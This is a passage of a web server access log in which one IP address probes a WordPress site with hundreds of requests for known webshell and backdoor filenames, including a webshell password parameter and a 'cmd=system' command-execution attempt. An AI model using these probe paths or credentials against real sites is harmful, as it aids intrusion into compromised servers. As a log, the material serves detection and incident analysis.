-0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:45 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:46 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:47 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:49 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:50 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:50 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:51 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:53 -0400] "GET /wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:54 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:55 -0400] "GET /wp-includes/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:56 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:58 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:01:59 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:01 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:02 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:03 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:04 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:06 -0400] "GET /wp-includes/customize/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:08 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:10 -0400] "GET /wp-includes/customize/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:12 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:14 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:15 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:16 -0400] "GET /wp-includes/fonts//links.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:19 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:20 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:22 -0400] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:23 -0400] "GET /wp-includes/fonts/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:26 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:29 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:31 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:32 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:33 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:34 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:38 -0400] "GET /wp-includes/html-api/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:39 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:41 -0400] "GET /wp-includes/iUN3FwyCaZR.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:44 -0400] "GET /wp-includes/iWoGYaunXNz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:47 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:50 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:54 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:02:59 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:02 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:06 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:10 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:13 -0400] "GET /wp-includes/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:16 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:22 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:27 -0400] "GET /wp-includes/images/media/ben.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:30 -0400] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:35 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:37 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:40 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:44 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:47 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:52 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:55 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:03:59 -0400] "GET /wp-includes/images/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:04 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:08 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:13 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:18 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:21 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:24 -0400] "GET /wp-includes/js//text.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:26 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:30 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:35 -0400] "GET /wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:38 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:43 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:48 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:52 -0400] "GET /wp-includes/js/codemirror/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:04:57 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:03 -0400] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:10 -0400] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:15 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:22 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:24 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:26 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:28 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:31 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:34 -0400] "GET /wp-includes/js/tinymce/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:35 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:37 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:39 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:41 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:43 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:44 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:45 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:47 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:50 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:51 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:52 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:54 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:55 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:57 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:58 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:05:59 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:01 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:02 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:04 -0400] "GET /wp-includes/js/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:05 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:08 -0400] "GET /wp-includes/mah.php?pass=888xyz999 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:11 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:13 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:15 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:16 -0400] "GET /wp-includes/php-compat//chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:18 -0400] "GET /wp-includes/php-compat/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:21 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:22 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:24 -0400] "GET /wp-includes/pomo/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:26 -0400] "GET /wp-includes/pomo/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:27 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:29 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:30 -0400] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:31 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:33 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:34 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:34 -0400] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:35 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:37 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:38 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:40 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:42 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:47 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:51 -0400] "GET /wp-includes/rest-api//class-wp-rest-core.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:54 -0400] "GET /wp-includes/rest-api//ot_shipping.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:06:57 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:01 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:04 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:06 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:08 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:11 -0400] "GET /wp-includes/rest-api/endpoints/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:12 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:14 -0400] "GET /wp-includes/rest-api/endpoints/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:17 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:19 -0400] "GET /wp-includes/rest-api/fields/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:22 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:23 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:24 -0400] "GET /wp-includes/rest-api/search/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:26 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:28 -0400] "GET /wp-includes/sitemaps//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:30 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:31 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:33 -0400] "GET /wp-includes/sitemaps/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:35 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:38 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:39 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:42 -0400] "GET /wp-includes/sitemaps/providers/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:44 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:47 -0400] "GET /wp-includes/sodium_compat/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:48 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:51 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:07:56 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:00 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:02 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:05 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:08 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:10 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge//Core32.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:14 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:16 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:19 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:23 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:24 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:25 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:26 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:28 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:31 -0400] "GET /wp-includes/style-engine/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:31 -0400] "GET /wp-includes/style-engine/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:32 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:33 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:34 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:34 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:35 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:37 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:38 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:39 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:40 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:42 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:44 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:46 -0400] "GET /wp-includes/theme-compat/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:48 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:49 -0400] "GET /wp-includes/upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:52 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:55 -0400] "GET /wp-includes/widgets//class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:08:58 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:01 -0400] "GET /wp-includes/widgets/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:04 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:08 -0400] "GET /wp-includes/widgets/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:12 -0400] "GET /wp-includes/wjacfltdmPx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:16 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:19 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:21 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:24 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:26 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wplivechat/ HTTP/1.1" 301 795 "-" "-" 2602:fb54:9bb:: - - [19/Apr/2025:22:09:29 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 52.169.149.126 - - [19/Apr/2025:22:09:29 -0400] "GET /wp-includes/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:32 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:34 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:36 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:38 -0400] "GET /wp-includes/wp-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:40 -0400] "GET /wp-includes/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:43 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:45 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:47 -0400] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:49 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:51 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:54 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:55 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:09:59 -0400] "GET 